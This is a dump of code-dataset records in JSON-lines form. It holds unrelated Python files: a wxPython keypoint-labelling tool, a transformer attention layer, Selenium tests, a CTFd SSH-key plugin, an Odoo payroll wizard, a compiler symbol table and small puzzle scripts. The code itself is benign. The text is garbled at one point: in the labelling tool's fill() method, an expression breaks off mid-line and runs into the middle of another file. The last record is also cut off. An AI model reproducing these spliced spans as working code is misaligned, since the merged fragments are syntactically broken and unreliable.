self.show_imi(self.imi)\n self.point_temp = []\n def Redraw(self,event):\n #reset img\n self.imi_path = os.path.join(self.img_folder\n , str(self.imi).zfill(10)+'.bmp')\n wximg = wx.Bitmap(self.imi_path, wx.BITMAP_TYPE_ANY)\n width = wximg.GetWidth()\n self.wximg = self.scale_bitmap(wximg, 500/width)\n #redraw\n self.draw_bitmap()\n \n def Back(self, event):\n #reset img\n self.imi_path = os.path.join(self.img_folder\n , str(self.imi).zfill(10)+'.bmp')\n wximg = wx.Bitmap(self.imi_path, wx.BITMAP_TYPE_ANY)\n width = wximg.GetWidth()\n self.wximg = self.scale_bitmap(wximg, 500/width)\n\n #remove point\n self.point_temp.remove(self.point_temp[-1])\n self.draw_bitmap()\n \n def getmousepos(self, event):\n thres = self.real_im_width/500\n x, y = event.GetPosition()\n \n self.click = int(x*thres), int(y*thres)\n self.left_down = event.LeftDown()\n self.left_up = event.LeftUp()\n self.right_up = event.RightUp()\n \n if self.open_rm_bg_mode:\n if self.left_down and not self.set_mask_thres:\n self.color_picker.append(self.click)\n self.color_thres.append(10)\n self.set_mask_thres = True\n if self.set_mask_thres:\n last_point = self.color_picker[-1]\n dist = (last_point[0]-self.click[0])**2 + (last_point[1]-self.click[1])**2\n dist = dist**0.5/2\n self.color_thres[len(self.color_picker)-1] = dist\n self.show_imi(self.imi)\n self.show_mask(event)\n if self.left_up :\n self.set_mask_thres = False\n if self.right_up:\n # del a point\n dist = np.array(self.color_picker)-np.array(self.click)\n nearest_index = np.argmin(dist[:,0]**2 + dist[:,1]**2)\n # ck in_area\n dist = self.color_picker[nearest_index] - np.array(self.click)\n dist = dist[0]**2 + dist[1]**2\n if dist < 1000:\n self.color_picker.remove(self.color_picker[nearest_index])\n self.color_thres.remove(self.color_thres[nearest_index])\n else:\n # clear all\n self.color_picker = []\n self.color_thres = []\n self.show_imi(self.imi)\n self.show_mask(event)\n \n else:\n if self.left_down:\n self.manage_point(event)\n if self.left_up:\n self.move_point = False\n if self.right_up:\n self.set_covered_point()\n self.Redraw(event)\n if self.move_point:\n self.draw_move(event)\n self.log('point[%d] is relocating to (%d, %d)'%(self.nearest_index,self.click[0],self.click[1]))\n \n def open_a_data( self, event ):\n with wx.FileDialog(self, \"Open .bmp file\", wildcard=\"bmp files (*.bmp)|*.bmp\",\n style=wx.FD_OPEN | wx.FD_FILE_MUST_EXIST) as fileDialog:\n\n if fileDialog.ShowModal() == wx.ID_CANCEL:\n return # the user changed their mind\n # Proceed loading the file chosen by the user\n pathname = fileDialog.GetPath()\n \n try:\n #reset img\n wximg = wx.Bitmap(pathname, wx.BITMAP_TYPE_ANY)\n width = wximg.GetWidth()\n self.wximg = self.scale_bitmap(wximg, 500/width)\n assert self.hand_mode in [2,11]\n if self.hand_mode == 11:\n dir_temp = pathname[:-4] + '.pkl'\n elif self.hand_mode == 2:\n dir_temp = pathname[:-4] + '_2p.pkl'\n with open(dir_temp, \"rb\") as f:\n data = pickle.load(f)\n \n self.point_temp = data['keypoint']\n self.covered_point = data['covered_point']\n \n self.img_folder = fileDialog.GetDirectory()\n # print(self.img_folder)\n fname = fileDialog.GetFilename()\n # print(fname)\n self.imi = int(fname[:-4])\n # print(self.imi)\n # print('bef read')\n self.read_pkl(event)\n # print('after read')\n self.log(pathname)\n self.checking_mode = True\n\n except :\n wx.MessageBox('Cannot open %s'%dir_temp,'Warning',wx.OK)\n \n def open_a_folder( self, event ):\n event.Skip()\n\n def goto_img(self,event):\n a = self.m_textCtrl3.GetValue()\n if a == 'go... .bmp':\n wx.MessageBox('please input a number of .bmp file.','Warning',wx.OK )\n else:\n try: \n a = int(a)\n try:\n self.show_imi(a)\n self.imi = a\n self.Clear(event)\n except :\n wx.MessageBox('Cannot go to the file you want.\\ncheck in the folder.','Cannot open .bmp',wx.OK )\n \n except:\n wx.MessageBox('This is not a number\\nplease input a number of .bmp file.','Cannot go to ...',wx.OK )\n \n def key_on_go_bmp(self,event):\n key = event.GetKeyCode()\n if key==13: # enter\n self.goto_img(event)\n def click_on_go_bmp(self,event):\n self.m_textCtrl3.SetValue('')\n event.Skip()\n def roi_show(self,event):\n self.roi_show_ = True \n self.m_menuItem17.Check(True)\n self.m_menuItem18.Check(False)\n self.Redraw(event)\n def roi_hide(self,event):\n self.roi_show_ = False \n self.m_menuItem17.Check(False)\n self.m_menuItem18.Check(True)\n self.Redraw(event)\n def keypoint_show(self,event):\n self.keypoint_show_ = True\n self.m_menuItem171.Check(True)\n self.m_menuItem181.Check(False)\n self.Redraw(event)\n def keypoint_hide(self,event):\n self.keypoint_show_ = False\n self.m_menuItem171.Check(False)\n self.m_menuItem181.Check(True)\n self.Redraw(event)\n def link_show(self,event):\n self.link_show_ = True\n self.m_menuItem172.Check(True)\n self.m_menuItem182.Check(False)\n self.Redraw(event)\n def link_hide(self,event):\n self.link_show_ = False\n self.m_menuItem172.Check(False)\n self.m_menuItem182.Check(True)\n self.Redraw(event)\n def tracking_size_30( self, event ):\n self.tracking_roi_size = 30\n self.m_menuItem17311.Check(True)\n self.m_menuItem17312.Check(False)\n self.m_menuItem17313.Check(False)\n self.m_menuItem17314.Check(False)\n self.m_menuItem35.Check(False)\n self.reinit_tracker(event)\n def tracking_size_40( self, event ):\n self.tracking_roi_size = 40\n self.m_menuItem17311.Check(0)\n self.m_menuItem17312.Check(0)\n self.m_menuItem17313.Check(False)\n self.m_menuItem17314.Check(False)\n self.m_menuItem35.Check(False)\n self.reinit_tracker(event)\n def tracking_size_50( self, event ):\n self.tracking_roi_size = 50\n self.m_menuItem17311.Check(0)\n self.m_menuItem17312.Check(False)\n self.m_menuItem17313.Check(1)\n self.m_menuItem17314.Check(False)\n self.m_menuItem35.Check(False)\n self.reinit_tracker(event)\n def tracking_size_60( self, event ):\n self.tracking_roi_size = 60\n self.m_menuItem17311.Check(0)\n self.m_menuItem17312.Check(False)\n self.m_menuItem17313.Check(False)\n self.m_menuItem17314.Check(1)\n self.m_menuItem35.Check(False)\n self.reinit_tracker(event)\n def tracking_size_100( self, event ):\n self.tracking_roi_size = 100\n self.m_menuItem17311.Check(0)\n self.m_menuItem17312.Check(False)\n self.m_menuItem17313.Check(False)\n self.m_menuItem17314.Check(False)\n self.m_menuItem35.Check(1)\n self.reinit_tracker(event)\n def keypoint_size_mark(self,event):\n size = self.keypoint_size\n self.keysize1.Check(0)\n self.keysize2.Check(0)\n self.keysize3.Check(0)\n self.keysize5.Check(0)\n self.keysize10.Check(0)\n if size==1 : self.keysize1.Check(1)\n elif size==2 : self.keysize2.Check(1)\n elif size==3 : self.keysize3.Check(1)\n elif size==5 : self.keysize5.Check(1)\n elif size==10 : self.keysize10.Check(1)\n self.Redraw(event)\n def keypoint_size1(self, event):\n self.keypoint_size = 1\n self.keypoint_size_mark(event)\n def keypoint_size2(self, event):\n self.keypoint_size = 2\n self.keypoint_size_mark(event)\n def keypoint_size3(self, event):\n self.keypoint_size = 3\n self.keypoint_size_mark(event)\n def keypoint_size5(self, event):\n self.keypoint_size = 5\n self.keypoint_size_mark(event)\n def keypoint_size10(self, event):\n self.keypoint_size = 10\n self.keypoint_size_mark(event)\n def hand2(self,event):\n self.hand_mode = 2\n self.mode_hand2.Check(1)\n self.mode_hand11.Check(0)\n self.Clear(event)\n def hand11(self,event):\n self.hand_mode = 11\n self.mode_hand2.Check(0)\n self.mode_hand11.Check(1)\n self.Clear(event)\n def Delete(self, event):\n resp = wx.MessageBox('Do you want to delete this picture?', 'Confirm'\n ,wx.YES | wx.NO)\n if resp == wx.YES:\n #delete\n dir_temp = os.path.join(self.img_folder\n , str(self.imi).zfill(10)+'.bmp')\n os.remove(dir_temp) # a bug\n self.log('deleted '+str(self.imi).zfill(10)+'.bmp')\n #rename\n i = 0\n while True:\n try:\n scr = os.path.join(self.img_folder\n , str(self.imi+1+i).zfill(10)+'.bmp')\n dst = os.path.join(self.img_folder\n , str(self.imi+i).zfill(10)+'.bmp')\n os.rename(scr, dst)\n i += 1\n except: break\n try:\n self.Clear(event)\n except:\n wx.MessageBox('This is the last image of this folder', 'Cannot go next !',wx.OK )\n \n\n def Save(self,event):\n\n if self.open_rm_bg_mode:\n name = 'clean_'+str(self.imi).zfill(10) + '.bmp'\n path = os.path.join(self.img_folder, name)\n self.show_imi(self.imi)\n filled_img = self.fill(self.real_im, self.color_picker, self.color_thres)\n cv2.imwrite(path,filled_img)\n self.Next(event)\n self.show_mask(event)\n self.log('saved '+name)\n else:\n if len(self.point_temp) == self.hand_mode:\n # output = [img_name, [11_points], [confirm]]\n img_name = str(self.imi).zfill(10)\n dictionary_data = {\"keypoint\": self.point_temp\n , 'covered_point': self.covered_point}\n assert self.hand_mode in [2,11]\n if self.hand_mode == 11:\n dir_temp = os.path.join(self.img_folder ,img_name + \".pkl\")\n elif self.hand_mode == 2:\n dir_temp = os.path.join(self.img_folder ,img_name + \"_2p.pkl\")\n with open(dir_temp, \"wb\") as f:\n pickle.dump(dictionary_data, f)\n self.real_im = []\n self.point_temp = []\n self.Next(event)\n\n if self.off_tracker_mode:\n self.point_temp = [] #clear points\n elif not self.checking_mode:\n # update all trackers\n for i in range(self.hand_mode):\n if not self.covered_point[i]: # update if not be covered\n self.mytracks[i].update(self.real_im)\n p = self.mytracks[i].center\n self.point_temp.append(p)\n self.Redraw(event)\n \n\n else:\n wx.MessageBox('need %d keypoint to save'%self.hand_mode, 'Cannot save !',wx.OK )\n \n def on_key(self, event):\n key = event.GetKeyCode()\n \n if key == 32:\n if not self.stop_cam:\n if not self.vid_saving:\n self.take_video(event)\n elif self.vid_saving:\n self.stop_recording(event)\n event.Skip()\n def testmode(self, event):\n for i in range(20):\n self.Save(event)\n \n def test___(self,event):\n self.img_folder = 'video_temp/70'\n self.imi = 3\n self.stop_cam = True # stop showing camera\n \n self.show_imi(self.imi)\n \n self.init_tracker(event)\n self.point_temp = [(241, 531), (184, 348), (148, 239), (228, 318), (240, 175), (277, 315), (315, 159), (325, 329), (365, 192), (360, 442), (429, 339)]\n self.reinit_tracker(event)\n\n self.roi_show(event)\n def test_open_rm_bg(self, event):\n self.color_picker = []\n \n self.open_rm_bg_mode = True \n self.checking_mode = False\n self.init_open_imgfolder = True\n fdir = 'video_temp\\\\07'\n self.img_folder = fdir\n self.imi = 1\n try:\n self.cap_.release()\n except :pass\n self.stop_cam = True # stop showing camera\n self.show_imi(self.imi)\n self.m_bitmap5.Bind(wx.EVT_MOUSE_EVENTS, self.getmousepos)\n \n def open_rm_bg(self, event):\n self.open_rm_bg_mode = True \n self.checking_mode = False\n self.init_open_imgfolder = True\n fdir = \"\" \n\n try:\n dir_temp = os.path.join(self.currentpath, 'video_temp')\n dlg = wx.DirDialog(self, defaultPath = dir_temp)\n except: \n dlg = wx.DirDialog(self, defaultPath = self.currentpath)\n \n if dlg.ShowModal() == wx.ID_OK:\n fdir = dlg.GetPath()\n dlg.SetPath(fdir)\n dlg.Destroy()\n\n self.img_folder = fdir\n self.imi = 1\n try:\n self.cap_.release()\n except :pass\n self.stop_cam = True # stop showing camera\n self.show_imi(self.imi)\n self.m_bitmap5.Bind(wx.EVT_MOUSE_EVENTS, self.getmousepos)\n\n def show_mask(self, event):\n filled_img = self.fill(self.real_im, self.color_picker, self.color_thres)\n for x,y in self.color_picker:\n filled_img = cv2.circle(filled_img, (int(x),int(y)), 5, self.point_color, 2)\n if self.set_mask_thres:\n last_pick = self.color_picker[-1]\n filled_img = cv2.line(filled_img, last_pick, self.click, self.point_color, 1) \n temp_name = 'wxbit_temp.bmp'\n cv2.imwrite(temp_name, filled_img)\n wximg = wx.Bitmap(temp_name, wx.BITMAP_TYPE_ANY)\n width = wximg.GetWidth()\n self.wximg = self.scale_bitmap(wximg, 500/width)\n self.m_bitmap5.SetBitmap(self.wximg)\n self.m_mgr.Update()\n self.log(str('masking img_%s'%str(self.imi).zfill(10)))\n\n def fill(self, frame, picker, thres):\n cs = []\n for i, (x, y) in enumerate(picker):\n blue,green,red = frame[y, x]\n val_red = frame[:,:,2]\n val_green = frame[:,:,1]\n val_blue = frame[:,:,0]\n thres = self.color_thres[i]\n c1 = (val_red>red-thres) * (val_redgreen-thres) * (val_greenblue-thres) * (val_blue (torch.Tensor, torch.Tensor):\n \"\"\"\n\n :param query: `...JxM`\n :param key: `...KxM`\n :param value: `...KxM`\n :param mask: `...JxK`\n :return:\n \"\"\"\n\n bs = query.size(0)\n dim_per_head = self.hidden_size // self.num_heads\n shape = (bs, -1, self.num_heads, dim_per_head)\n\n # ...JxM -> ...JxH\n q = self.q_emb(query)\n rel_pos_logits = None\n if self.rel_pos_emb is not None:\n pos = torch.arange(key.size(-2), device=key.device)\n # JxK\n rel_pos = (pos - torch.arange(query.size(-2), device=key.device)[:, None]).clamp_(-self._relative_pos_clip,\n self._relative_pos_clip)\n rel_pos += self._relative_pos_clip\n # 1xJxH * 1xJxK\n rel_pos_logits = (q.unsqueeze(-2) * self.rel_pos_emb(rel_pos).unsqueeze(0)).sum(dim=-1, keepdim=True)\n # -> {bs}x{self.num_heads}x{-1}x{dim_per_head}\n q = q.view(shape).transpose_(1, 2)\n k = self.k_emb(key).view(shape).transpose_(1, 2)\n v = self.v_emb(value).view(shape).transpose_(1, 2)\n feature, attn = self.attn(q, k, v, mask, additive_mask=rel_pos_logits)\n feature.transpose_(1, 2).reshape(bs, -1, self.hidden_size)\n return self.last_lin(feature), attn\n","sub_path":"homura/language/transformer.py","file_name":"transformer.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"622602239","text":"import pytest\nfrom selenium import webdriver\n\n\ndef pytest_addoption(parser):\n parser.addoption('--language', action='store', default=None,\n help=\"Choose language: it, fr, en etc\")\n\n\n@pytest.fixture(scope=\"function\")\ndef browser(request):\n language = request.config.getoption(\"language\")\n browser = webdriver.Chrome()\n print(\"\\nstart chrome browser for test..\")\n link = \"http://selenium1py.pythonanywhere.com/{}/catalogue/coders-at-work_207/\".format(language)\n browser.get(link)\n yield browser\n print(\"\\nquit browser..\")\n browser.quit()\n","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"48171035","text":"import unittest\n\nfrom mockito import when, mock, verify, verifyNoMoreInteractions, unstub\nfrom selenium import webdriver\n\nfrom SeleniumLibrary.keywords import BrowserManagementKeywords\nfrom SeleniumLibrary import SeleniumLibrary\n\n\nclass BrowserManagementTests(unittest.TestCase):\n\n def test_set_selenium_timeout_only_affects_open_browsers(self):\n ctx = mock()\n ctx.timeout = 5.0\n _drivers = mock()\n ctx._drivers = _drivers\n first_browser, second_browser = mock(), mock()\n ctx._drivers.active_drivers = [first_browser, second_browser]\n bm = BrowserManagementKeywords(ctx)\n bm.set_selenium_timeout(\"10 seconds\")\n verify(first_browser).set_script_timeout(10.0)\n verify(second_browser).set_script_timeout(10.0)\n ctx._drivers.active_drivers = []\n bm.set_selenium_timeout(\"20 seconds\")\n verifyNoMoreInteractions(first_browser)\n verifyNoMoreInteractions(second_browser)\n unstub()\n\n def test_selenium_implicit_wait_default(self):\n sl = SeleniumLibrary()\n self.assertEqual(sl.implicit_wait, 0.0)\n\n def test_set_selenium_implicit_wait(self):\n sl = SeleniumLibrary()\n sl.set_selenium_implicit_wait('5.0')\n self.assertEqual(sl.implicit_wait, 5.0)\n\n sl.set_selenium_implicit_wait('1 min')\n self.assertEqual(sl.implicit_wait, 60.0)\n\n def test_selenium_implicit_wait_error(self):\n with self.assertRaises(ValueError):\n SeleniumLibrary(implicit_wait='False')\n sl = SeleniumLibrary(implicit_wait='3')\n with self.assertRaises(ValueError):\n sl.set_selenium_implicit_wait('1 vuosi')\n\n def test_selenium_implicit_wait_get(self):\n sl = SeleniumLibrary(implicit_wait='3')\n self.assertEqual(sl.get_selenium_implicit_wait(), '3 seconds')\n\n org_value = sl.set_selenium_implicit_wait('1 min')\n self.assertEqual(sl.get_selenium_implicit_wait(), '1 minute')\n self.assertEqual(org_value, '3 seconds')\n\n def test_bad_browser_name(self):\n ctx = mock()\n bm = BrowserManagementKeywords(ctx)\n try:\n bm._make_driver(\"fireox\")\n self.fail(\"Exception not raised\")\n except ValueError as e:\n self.assertEquals(str(e), \"fireox is not a supported browser.\")\n\n def test_create_webdriver(self):\n ctx = mock()\n ctx.event_firing_webdriver = None\n bm = BrowserManagementKeywords(ctx)\n FakeWebDriver = mock()\n driver = mock()\n when(FakeWebDriver).__call__(some_arg=1).thenReturn(driver)\n when(FakeWebDriver).__call__(some_arg=2).thenReturn(driver)\n when(ctx).register_driver(driver, 'fake1').thenReturn(0)\n webdriver.FakeWebDriver = FakeWebDriver\n try:\n index = bm.create_webdriver('FakeWebDriver', 'fake1', some_arg=1)\n verify(ctx).register_driver(driver, 'fake1')\n self.assertEqual(index, 0)\n my_kwargs = {'some_arg': 2}\n bm.create_webdriver('FakeWebDriver', 'fake2', kwargs=my_kwargs)\n verify(ctx).register_driver(driver, 'fake2')\n finally:\n del webdriver.FakeWebDriver\n unstub()\n\n def test_open_browser_speed(self):\n ctx = mock()\n ctx._drivers = mock()\n ctx.event_firing_webdriver = None\n ctx.speed = 5.0\n browser = mock()\n when(webdriver).Chrome(options=None, service_log_path=None).thenReturn(browser)\n bm = BrowserManagementKeywords(ctx)\n bm.open_browser('http://robotframework.org/', 'chrome')\n self.assertEqual(browser._speed, 5.0)\n unstub()\n\n def test_create_webdriver_speed(self):\n ctx = mock()\n ctx._drivers = mock()\n ctx.event_firing_webdriver = None\n ctx.speed = 0.0\n browser = mock()\n when(webdriver).Chrome(options=None, service_log_path=None).thenReturn(browser)\n bm = BrowserManagementKeywords(ctx)\n bm.open_browser('http://robotframework.org/', 'chrome')\n verify(browser, times=0).__call__('_speed')\n unstub()\n","sub_path":"utest/test/keywords/test_browsermanagement.py","file_name":"test_browsermanagement.py","file_ext":"py","file_size_in_byte":4100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"227666327","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 7 14:06:28 2017\n\n@author: Renato Barros Arantes\n\"\"\"\nfrom experiment.Experiment import Experiment\nfrom TFxIDFSort import TFxIDFSort\nimport networkx as nx\n\nclass ClusteringExp(Experiment):\n def __init__(self, N, G, reverse=True):\n Experiment.__init__(self, 'Clustering' if reverse else '(ascending) Clustering', N)\n self.G = G\n self.tag_sort = TFxIDFSort()\n self.reverse = reverse\n\n def execute(self, keywords, plot, similarities):\n s = set(plot)\n self.tag_sort.calc(plot)\n H = self.G.subgraph(s)\n cl = nx.clustering(H, weight='weight')\n sr = sorted(cl.items(), key=self.tag_sort.key, reverse=self.reverse)\n return set([k[0] for k in sr][0:self.N])\n\n","sub_path":"experiment/clustering/ClusteringExp.py","file_name":"ClusteringExp.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"635839274","text":"import obraz,os,random,cgi\ntry:\n from urllib.request import pathname2url, url2pathname\nexcept ImportError:\n from urllib import pathname2url, url2pathname\n\ndef process_codeview(basedir, destdir, site):\n\t\"\"\"Retrieving source and generating code view.\"\"\"\n\t\n\tdef get_code(infile):\n\t\ttry:\n\t\t\tdesc = open(infile, 'r').read()\n\t\texcept IOError:\n\t\t\tdesc = ''\n\t\treturn cgi.escape(desc, True).replace('\\n','
').replace('\\t','  ')\n\t\n\tfor page in site.get('pages', []):\n\t\tsourcedir = '/_' + page['url'][1:]\n\t\t#if not os.path.isdir(url2pathname(os.getcwd() + sourcedir)):\n\t\t#doesn't work for some reason\n\t\tsourcefiles = []\n\t\tfor root, dirnames, filenames in os.walk(url2pathname(os.getcwd() + sourcedir)):\n\t\t\tfor filename in filenames:\n\t\t\t\tsourcefiles.append(os.path.join(root, filename))\n\t\tcodeview = ''\n\t\t\n\t\tfor file in sourcefiles:\n\t\t\tfilename = pathname2url(file).replace(pathname2url(os.getcwd())+sourcedir,'')\n\t\t\tcodeview += ''\n\t\t\n\t\tpage['content'] = page['content'].replace('[codeview]',codeview)\n\nobraz.processors.insert(0, process_codeview)","sub_path":"codeview.py","file_name":"codeview.py","file_ext":"py","file_size_in_byte":1197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"304354862","text":"class SymbolTable:\n def __init__(self):\n self._class = {}\n self._subroutine = {}\n\n def start_subroutine(self):\n self._subroutine = {}\n\n def _get_symbol_table(self, kind):\n if kind in ('static', 'field'):\n return self._class\n else:\n return self._subroutine\n\n def define(self, name, _type, kind):\n if kind == 'var':\n kind = 'local'\n table = self._get_symbol_table(kind)\n table[name] = {\n 'type': _type,\n 'kind': kind,\n 'index': self.var_count(kind),\n }\n\n def var_count(self, kind):\n return_val = 0\n table = self._get_symbol_table(kind)\n for row in table.values():\n if row['kind'] == kind:\n return_val += 1\n return return_val\n\n def kind_of(self, name):\n if self._subroutine.get(name):\n return self._subroutine.get(name).get('kind')\n if self._class.get(name):\n return self._class.get(name).get('kind')\n return 'NONE'\n\n def type_of(self, name):\n if self._subroutine.get(name):\n return self._subroutine.get(name).get('type')\n if self._class.get(name):\n return self._class.get(name).get('type')\n return 'NONE'\n\n def index_of(self, name):\n if self._subroutine.get(name):\n return self._subroutine.get(name).get('index')\n if self._class.get(name):\n return self._class.get(name).get('index')\n return 0\n","sub_path":"11/JackCompiler/SymbolTable.py","file_name":"SymbolTable.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"366816758","text":"__author__ = 'guillermo'\nfrom openerp import models, fields, api\nfrom dateutil import parser\nfrom dateutil.relativedelta import relativedelta\nfrom openerp.exceptions import except_orm\nfrom datetime import datetime\n\n\n# class hr_period(models.Model):\n# _name = 'hr.period'\n#\n# @api.one\n# def _compute_name(self):\n# if self.init_date:\n# aux_date = parser.parse(self.init_date)\n# self.name = str(aux_date.month.real) + '/' + str(aux_date.year.real)\n#\n# name = fields.Char('Periodo', compute='_compute_name')\n# init_date = fields.Date('Fecha inicial del Periodo')\n# end_date = fields.Date('Fecha final del Periodo')\n#\n# @api.onchange('init_date')\n# def onchenge_init_date(self):\n# res = dict()\n# if self.end_date:\n# if self.init_date >= self.end_date:\n# self.init_date = None\n# res['warning'] = {'title': 'Alerta', 'message': 'La fecha inicial no puede mayor o igual a la final'}\n# return res\n#\n# @api.onchange('end_date')\n# def onchenge_end_date(self):\n# res = dict()\n# if self.init_date:\n# if self.end_date <= self.init_date:\n# self.end_date = None\n# res['warning'] = {'title': 'Alerta', 'message': 'La fecha final no puede menor o igual a la inicial'}\n# return res\n\n\nclass tenth_wizard(models.TransientModel):\n _name = 'tenth.wizard'\n\n decimo_type = fields.Selection([('dc3', 'Decimo 3ro'), ('dc4', 'Decimo 4to')], 'Tipo de Decimo', required=True)\n period_id = fields.Many2one('hr.period.period', 'Periodo', domain=\"[('code', '=', period_code)]\")\n company_id = fields.Many2one('res.company', 'Empresa', default=lambda self: self.env['res.company']._company_default_get('tenth.wizard'))\n employee_ids = fields.Many2many(comodel_name='hr.employee', string='Empleados', required=True, domain=\"[('state_emp', '=', 'active')]\")\n period_code = fields.Char('Periodo Empresa', related='company_id.period_decimo3_pay.code')\n\n @api.one\n def generate_tenth(self):\n tenth_env = self.env['hr.remuneration.employee']\n if self.decimo_type == 'dc3':\n date_period = parser.parse(self.period_id.date_start)\n initial_search_date = date_period - relativedelta(months=11)\n payslip = self.env['hr.payslip']\n for employee in self.employee_ids:\n if employee.state_emp == 'active':\n periodo_inicio = initial_search_date.strftime('%Y-%m-%d')\n a, b = tenth_env.tenth_amount_calculate(self.decimo_type, employee.id, periodo_inicio, self.period_id.date_stop)\n values = {\n 'employee_id': employee.id,\n 'decimo_type': self.decimo_type,\n 'periodo_inicio': periodo_inicio,\n 'periodo_final': self.period_id.date_stop,\n 'worked_time': b,\n 'pay_amount': a,\n 'pay_amountbackup': a\n\n }\n tenth_env.create(values)\n elif self.decimo_type == 'dc4':\n user = self.env['res.users'].browse(self._uid)\n company = self.env['res.company'].browse(user.company_id.id)\n for employee in self.employee_ids:\n if employee.state_emp == 'active':\n if employee.region == 'sierra' and (company.region == 'sierra' or company.region == 'both'):\n fecha_inicio = company.fecha_init_sierra\n fecha_fin = company.fecha_fin_sierra\n elif employee.region == 'costa' and (company.region == 'costa' or company.region == 'both'):\n fecha_inicio = company.fecha_init_costa\n fecha_fin = company.fecha_fin_costa\n else:\n raise except_orm('Error', (\"La region asociada al empleado %s no existe en la configuracion de la \"\n \"compania\")%employee.name)\n a, b = tenth_env.tenth_amount_calculate(self.decimo_type, employee.id, fecha_inicio, fecha_fin)\n if a > 0.00:\n values = {\n 'employee_id': employee.id,\n 'decimo_type': self.decimo_type,\n 'periodo_inicio': fecha_inicio,\n 'periodo_final': fecha_fin,\n 'worked_time': b,\n 'pay_amount': a,\n 'pay_amountbackup':a\n }\n tenth_env.create(values)\n return True\n\n","sub_path":"bit_hr_payroll_ec/wizard/generate_tenth_wizard.py","file_name":"generate_tenth_wizard.py","file_ext":"py","file_size_in_byte":4779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"61979283","text":"import os\nimport re\n\nfrom flask import request, render_template_string\nfrom flask_restplus import Namespace, Resource\nfrom sqlalchemy.exc import IntegrityError\nfrom CTFd.models import db\nfrom CTFd.utils import get_config\nfrom CTFd.utils.decorators import authed_only\nfrom CTFd.utils.user import get_current_user\n\n\nclass Keys(db.Model):\n __tablename__ = \"keys\"\n user_id = db.Column(db.Integer,\n db.ForeignKey(\"users.id\", ondelete=\"CASCADE\"),\n primary_key=True)\n value = db.Column(db.Text,\n unique=True)\n\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\nkey_settings_path = os.path.join(dir_path, 'assets', 'key', 'settings.html')\nwith open(key_settings_path, 'r') as f:\n key_settings_template = f.read()\n\n\n@authed_only\ndef key_settings():\n user = get_current_user()\n name = user.name\n email = user.email\n website = user.website\n affiliation = user.affiliation\n country = user.country\n prevent_name_change = get_config(\"prevent_name_change\")\n confirm_email = get_config(\"verify_emails\") and not user.verified\n existing_key = Keys.query.filter_by(user_id=user.id).first()\n key_value = existing_key.value if existing_key else \"\"\n return render_template_string(\n key_settings_template,\n name=name,\n email=email,\n website=website,\n affiliation=affiliation,\n country=country,\n prevent_name_change=prevent_name_change,\n confirm_email=confirm_email,\n key=key_value\n )\n\n\nkeys_namespace = Namespace(\n 'keys', description=\"Endpoint to manage users' public SSH keys\"\n)\n\n@keys_namespace.route('')\nclass UpdateKey(Resource):\n @authed_only\n def patch(self):\n data = request.get_json()\n key_value = data.get('key', '')\n\n if key_value:\n key_re = 'ssh-rsa AAAA[0-9A-Za-z+/]+[=]{0,2}'\n key_match = re.match(key_re, key_value)\n if not key_match:\n return {'success': False, 'errors': {'key': 'Invalid public key
Expected format: %s' % key_re}}, 400\n key_value = key_match.group()\n\n user = get_current_user()\n\n try:\n existing_key = Keys.query.filter_by(user_id=user.id).first()\n if not existing_key:\n key = Keys(user_id=user.id, value=key_value)\n db.session.add(key)\n else:\n existing_key.value = key_value\n db.session.commit()\n except IntegrityError:\n return {'success': False, 'errors': {'key': 'Public key already in use'}}, 400\n\n return {'success': True}\n","sub_path":"plugins/pwncollege/ssh_key.py","file_name":"ssh_key.py","file_ext":"py","file_size_in_byte":2640,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"646431931","text":"##PAR OU IMPAR\nfrom random import randint\ncontVitorias = 0\n\nwhile True:\n aux = ''\n computador = randint(0, 5)\n valor = int(input('Informe um valor entre 0 e 5: '))\n escolha = int(input('[1] Par \\n[2]Ímpar \\nQual a sua escolha? '))\n if (valor + computador) % 2 == 0:\n aux = 'PAR'\n else:\n aux = 'ÍMPAR'\n print('-' * 30)\n print(f'Você jogou {valor} e o computador {computador}. Total de {valor + computador} que é {aux}')\n if escolha == 1:\n if (valor + computador) % 2 == 0:\n contVitorias += 1\n print('-' * 30)\n print('VOCÊ VENCEU!!!')\n print('-' * 30)\n else:\n break\n if escolha == 2:\n if(valor + computador) % 2 != 0:\n contVitorias += 1\n print('-' * 30)\n print('VOCÊ VENCEU!!!')\n print('-' * 30)\n else:\n break\nprint('-' * 40)\nprint(f'VOCÊ PERDEU! \\nGAME OVER!! \\nTotal de Vitórias Consecutivas: {contVitorias}')","sub_path":"Exercicios/Estruturas de Controle/Ex068.py","file_name":"Ex068.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"527231979","text":"from day16input import *\n\ntypestrings = typesstring.split('\\n')\ndata = {}\nfor s in typestrings:\n splitted = s.split(':')\n type = splitted[0]\n ranges = splitted[1].split(' or ')\n range1 = ranges[0][1:]\n range2 = ranges[1]\n values1 = range1.split('-')\n values2 = range2.split('-')\n value = [range( int(values1[0]), int(values1[1])+1 ),range( int(values2[0]), int(values2[1])+1 )]\n data[type] = value\n\nmyticket = [int(x) for x in ticketstring.split(',')]\n\nnearbyticketslines = nearbyticketstring.split('\\n')\nnearbytickets = []\n\nticketgroups = [myticket]\n\nfor l in nearbyticketslines:\n nrs = l.split(',')\n nextticket = []\n for nr in nrs:\n nearbytickets.append(int(nr))\n nextticket.append(int(nr))\n\n ticketgroups.append(nextticket)\n\nalltickets = (myticket + nearbytickets).copy()\nfor nr in alltickets.copy():\n for rangepairs in data.values():\n if nr in rangepairs[0] or 